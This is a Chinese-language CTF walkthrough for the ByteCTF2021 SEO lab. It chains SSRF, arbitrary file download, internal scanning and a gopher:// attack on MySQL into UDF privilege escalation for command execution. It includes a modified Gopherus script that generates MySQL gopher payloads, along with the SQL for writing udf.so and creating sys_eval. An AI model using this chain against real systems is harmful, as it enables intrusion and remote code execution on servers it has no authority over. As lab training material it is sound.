外网打点

靶场：https://github.com/sqlsec/ByteCTF2021-Final-SEO

发现是个seo

在target 发现几个api接口，之前一直走seo.php一直没用

测了一遍发现ip.php

并且会将响应的内容进行base64编码

ssrf

探测内网发现可行，爆破端口

发现只有个80端口，用file协议也没用

点击辅助功能页面那个查看词库，发现会下载文件，测试任意文件下载

任意文件下载

查看内网网段

172.73.23.21 扫c段以及常用端口

发现100的c段有3306端口

ssrf攻击mysql

https://coomrade.github.io/2018/10/28/SSRF%E6%94%BB%E5%87%BBMySQL/

用Gopherus

传的时候记得url再编码一次

发现没有可利用数据库

由此采取udf提权反弹shell

show variables like '%plugin%';

查看插件位置：/usr/lib/mysql/plugin/

写入动态链接库

我们用国光大佬的页面直接复制

https://www.sqlsec.com/tools/udf.html

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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

发现python输入是有问题的

我改了下脚本

print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"

user = raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
encode_user = user.encode("hex")
user_length = len(user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")

dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
dump +=  encode_user
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

#query = raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")
query="SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
auth = dump.replace("\n","")

def encode(s):
    a = [s[i:i + 2] for i in range(0, len(s), 2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)


def get_payload(query):
    if(query.strip()!=''):
        query = query.encode("hex")
        query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
        query_length = query_length.decode('hex')[::-1].encode('hex')
        pay1 = query_length + "0003" + query
        final = encode(auth + pay1 + "0100000001")
        return final
    else:
        return encode(auth)

print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
print "\033[04m" + get_payload(query)+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"

创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

执行 ls / | grep flag

发现flag位置查看即可

总结

udf写入用工具写有问题，估计是python的输入，这里卡了很久，后面解码才发现并没有完全写入 udf执行命令回显结果过长会出错，试了udf弹shell（bash）发现不行